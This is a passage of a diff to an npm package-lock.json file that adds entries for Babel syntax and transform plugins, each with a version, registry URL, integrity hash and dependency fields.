"dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-bigint": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz", + "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.12.13" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-static-block": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-decorators": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.18.6.tgz", + "integrity": "sha512-fqyLgjcxf/1yhyZ6A+yo1u9gJ7eleFQod2lkaUsF9DQ7sbbY3Ligym3L0+I2c0WmqNKDpoD9UTb1AKP3qRMOAQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-export-namespace-from": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz", + "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-flow": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.18.6.tgz", + "integrity": "sha512-LUbR+KNTBWCUAqRG9ex5Gnzu2IOkt8jRJbHHXFT9q+L9zm7M/QQbEqXyw1n1pohYvOyWC8CjeyjrSaIwiYjK7A==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-assertions": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.18.6.tgz", + "integrity": "sha512-/DU3RXad9+bZwrgWJQKbr39gYbJpLJHezqEzRzi/BHRlJ9zsQb4CK2CA/5apllXNomwA1qHwzvHl+AdEmC5krQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-meta": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", + "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz", + "integrity": "sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-private-property-in-object": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-top-level-await": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-typescript": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.18.6.tgz", + "integrity": "sha512-mAWAuq4rvOepWCBid55JuRNvpTNf2UGVgoz4JV0fXEKolsVZDzsa4NqCef758WZJj/GDu0gVGItjKFiClTAmZA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-arrow-functions": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.18.6.tgz", + "integrity": "sha512-9S9X9RUefzrsHZmKMbDXxweEH+YlE8JJEuat9FdvW9Qh1cw7W64jELCtWNkPBPX5En45uy28KGvA/AySqUh8CQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.18.6.tgz", + "integrity": "sha512-ARE5wZLKnTgPW7/1ftQmSi1CmkqqHo2DNmtztFhvgtOWSDfq0Cq9/9L+KnZNYSNrydBekhW3rwShduf59RoXag==", + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/helper-remap-async-to-generator": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoped-functions": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.18.6.tgz", + "integrity": "sha512-ExUcOqpPWnliRcPqves5HJcJOvHvIIWfuS4sroBUenPuMdmW+SMHDakmtS7qOo13sVppmUijqeTv7qqGsvURpQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoping": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.18.6.tgz", + "integrity": "sha512-pRqwb91C42vs1ahSAWJkxOxU1RHWDn16XAa6ggQ72wjLlWyYeAcLvTtE0aM8ph3KNydy9CQF2nLYcjq1WysgxQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-classes": { + "version": "7.18.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.18.8.tgz", + "integrity": "sha512-RySDoXdF6hgHSHuAW4aLGyVQdmvEX/iJtjVre52k0pxRq4hzqze+rAVP++NmNv596brBpYmaiKgTZby7ziBnVg==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-environment-visitor": "^7.18.6", + "@babel/helper-function-name": "^7.18.6", + "@babel/helper-optimise-call-expression": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/helper-replace-supers": "^7.18.6", + "@babel/helper-split-export-declaration": "^7.18.6", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-computed-properties": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.18.6.tgz", + "integrity": "sha512-9repI4BhNrR0KenoR9vm3/cIc1tSBIo+u1WVjKCAynahj25O8zfbiE6JtAtHPGQSs4yZ+bA8mRasRP+qc+2R5A==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-destructuring": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.18.6.tgz", + "integrity": "sha512-tgy3u6lRp17ilY8r1kP4i2+HDUwxlVqq3RTc943eAWSzGgpU1qhiKpqZ5CMyHReIYPHdo3Kg8v8edKtDqSVEyQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dotall-regex": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.18.6.tgz", + "integrity": "sha512-6S3jpun1eEbAxq7TdjLotAsl4WpQI9DxfkycRcKrjhQYzU87qpXdknpBg/e+TdcMehqGnLFi7tnFUBR02Vq6wg==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-keys": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.18.6.tgz", + "integrity": "sha512-NJU26U/208+sxYszf82nmGYqVF9QN8py2HFTblPT9hbawi8+1C5a9JubODLTGFuT0qlkqVinmkwOD13s0sZktg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-exponentiation-operator": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.18.6.tgz", + "integrity": "sha512-wzEtc0+2c88FVR34aQmiz56dxEkxr2g8DQb/KfaFa1JYXOFVsbhvAonFN6PwVWj++fKmku8NP80plJ5Et4wqHw==", + "license": "MIT", + "dependencies": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-flow-strip-types": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.18.6.tgz", + "integrity": "sha512-wE0xtA7csz+hw4fKPwxmu5jnzAsXPIO57XnRwzXP3T19jWh1BODnPGoG9xKYwvAwusP7iUktHayRFbMPGtODaQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-flow": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-for-of": { + "version": "7.18.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.18.8.tgz", + "integrity": "sha512-yEfTRnjuskWYo0k1mHUqrVWaZwrdq8AYbfrpqULOJOaucGSp4mNMVps+YtA8byoevxS/urwU75vyhQIxcCgiBQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-function-name": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.18.6.tgz", + "integrity": "sha512-kJha/Gbs5RjzIu0CxZwf5e3aTTSlhZnHMT8zPWnJMjNpLOUgqevg+PN5oMH68nMCXnfiMo4Bhgxqj59KHTlAnA==", + "license": "MIT", + "dependencies": { + "@babel/helper-compilation-targets": "^7.18.6", + "@babel/helper-function-name": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-literals": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.18.6.tgz", + "integrity": "sha512-x3HEw0cJZVDoENXOp20HlypIHfl0zMIhMVZEBVTfmqbObIpsMxMbmU5nOEO8R7LYT+z5RORKPlTI5Hj4OsO9/Q==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-member-expression-literals": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.18.6.tgz", + "integrity": "sha512-qSF1ihLGO3q+/g48k85tUjD033C29TNTVB2paCwZPVmOsjn9pClvYYrM2VeJpBY2bcNkuny0YUyTNRyRxJ54KA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-amd": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.18.6.tgz", + "integrity": "sha512-Pra5aXsmTsOnjM3IajS8rTaLCy++nGM4v3YR4esk5PCsyg9z8NA5oQLwxzMUtDBd8F+UmVza3VxoAaWCbzH1rg==", + "license": "MIT", + "dependencies": { + "@babel/helper-module-transforms": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6", + "babel-plugin-dynamic-import-node": "^2.3.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-commonjs": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.18.6.tgz", + "integrity": "sha512-Qfv2ZOWikpvmedXQJDSbxNqy7Xr/j2Y8/KfijM0iJyKkBTmWuvCA1yeH1yDM7NJhBW/2aXxeucLj6i80/LAJ/Q==", + "license": "MIT", + "dependencies": { + "@babel/helper-module-transforms": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/helper-simple-access": "^7.18.6", + "babel-plugin-dynamic-import-node": "^2.3.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-systemjs": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.18.6.tgz", + "integrity": "sha512-UbPYpXxLjTw6w6yXX2BYNxF3p6QY225wcTkfQCy3OMnSlS/C3xGtwUjEzGkldb/sy6PWLiCQ3NbYfjWUTI3t4g==", + "license": "MIT", + "dependencies": { + "@babel/helper-hoist-variables": "^7.18.6", + "@babel/helper-module-transforms": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/helper-validator-identifier": "^7.18.6", + "babel-plugin-dynamic-import-node": "^2.3.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-umd": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.18.6.tgz", + "integrity": "sha512-dcegErExVeXcRqNtkRU/z8WlBLnvD4MRnHgNs3MytRO1Mn1sHRyhbcpYbVMGclAqOjdW+9cfkdZno9dFdfKLfQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-module-transforms": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.18.6.tgz", + "integrity": "sha512-UmEOGF8XgaIqD74bC8g7iV3RYj8lMf0Bw7NJzvnS9qQhM4mg+1WHKotUIdjxgD2RGrgFLZZPCFPFj3P/kVDYhg==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-new-target": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.18.6.tgz", + "integrity": "sha512-DjwFA/9Iu3Z+vrAn+8pBUGcjhxKguSMlsFqeCKbhb9BAV756v0krzVK04CRDi/4aqmk8BsHb4a/gFcaA5joXRw==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-super": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.18.6.tgz", + "integrity": "sha512-uvGz6zk+pZoS1aTZrOvrbj6Pp/kK2mp45t2B+bTDre2UgsZZ8EZLSJtUg7m/no0zOJUWgFONpB7Zv9W2tSaFlA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/helper-replace-supers": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-parameters": { + "version": "7.18.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.18.8.tgz", + "integrity": "sha512-ivfbE3X2Ss+Fj8nnXvKJS6sjRG4gzwPMsP+taZC+ZzEGjAYlvENixmt1sZ5Ca6tWls+BlKSGKPJ6OOXvXCbkFg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-property-literals": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.18.6.tgz", + "integrity": "sha512-cYcs6qlgafTud3PAzrrRNbQtfpQ8+y/+M5tKmksS9+M1ckbH6kzY8MrexEM9mcA6JDsukE19iIRvAyYl463sMg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-constant-elements": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.18.6.tgz", + "integrity": "sha512-4g5H1bonF1dqgMe+wQ2fvDlRZ/mN/KwArk13teDv+xxn+pUDEiiDluQd6D2B30MJcL1u3qr0WZpfq0mw9/zSqA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-display-name": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.18.6.tgz", + "integrity": "sha512-TV4sQ+T013n61uMoygyMRm+xf04Bd5oqFpv2jAEQwSZ8NwQA7zeRPg1LMVg2PWi3zWBz+CLKD+v5bcpZ/BS0aA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.18.6.tgz", + "integrity": "sha512-Mz7xMPxoy9kPS/JScj6fJs03TZ/fZ1dJPlMjRAgTaxaS0fUBk8FV/A2rRgfPsVCZqALNwMexD+0Uaf5zlcKPpw==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-jsx": "^7.18.6", + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-development": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.18.6.tgz", + "integrity": "sha512-SA6HEjwYFKF7WDjWcMcMGUimmw/nhNRDWxr+KaLSCrkD/LMDBvWRmHAYgE1HDeF8KUuI8OAu+RT6EOtKxSW2qA==", + "license": "MIT", + "dependencies": { + "@babel/plugin-transform-react-jsx": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-pure-annotations": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.18.6.tgz", + "integrity": "sha512-I8VfEPg9r2TRDdvnHgPepTKvuRomzA8+u+nhY7qSI1fR2hRNebasZEETLyM5mAUr0Ku56OkXJ0I7NHJnO6cJiQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regenerator": { + "version": "7.18.6", + "resolved": 